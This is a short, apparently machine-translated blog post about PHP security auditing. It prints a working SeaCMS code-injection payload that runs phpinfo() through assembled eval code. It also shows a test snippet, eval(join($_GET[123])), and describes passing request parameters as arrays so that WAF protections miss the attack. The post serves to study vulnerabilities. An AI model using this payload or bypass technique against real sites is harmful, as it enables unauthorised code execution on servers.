Heim  >  Artikel  >  Backend-Entwicklung  >  Beispielfreigabe, wie PHP ein Array über eine HTTP-Anfrage sendet

Beispielfreigabe, wie PHP ein Array über eine HTTP-Anfrage sendet

黄舟
黄舟Original
2017-10-24 09:26:182324Durchsuche

Ich habe vor kurzem angefangen, PHP-Auditing zu lernen, und gerade rechtzeitig, um SeaCMs zu studieren, habe ich einen seltsamen Punkt in der Nutzlast entdeckt

searchtype=5&searchword={
if{searchpage:year}&year=:e{searchpage:area}
}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

Ich habe es ausprobiert und festgestellt, dass dies beispielsweise beim Empfang von Daten der Fall ist :

Schlüsselname=a, wenn a[]=a&a[]=b übergeben wird, ist a ein Array, also haben wir einen Test durchgeführt und es war wahr

Serverseitiger Test Code

<?php
	print_r($_GET[1]);
?>

Die Testergebnisse lauten wie folgt

Beispielfreigabe, wie PHP ein Array über eine HTTP-Anfrage sendet

Beispielfreigabe, wie PHP ein Array über eine HTTP-Anfrage sendet

Was nützt das also? eins? Wenn auf dem Server Schutztools wie Security Dogs oder WAF vorhanden sind, kann durch die Kombination anderer PHP-Funktionen wie der Join-Funktion der Bypass-Effekt erzielt werden

Stellen Sie eine einfache Idee dar

Server-Testcode

<?php
	eval(join($_GET[123]));
?>

Die Testergebnisse sind wie folgt

Beispielfreigabe, wie PHP ein Array über eine HTTP-Anfrage sendet

Das obige ist der detaillierte Inhalt vonBeispielfreigabe, wie PHP ein Array über eine HTTP-Anfrage sendet. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn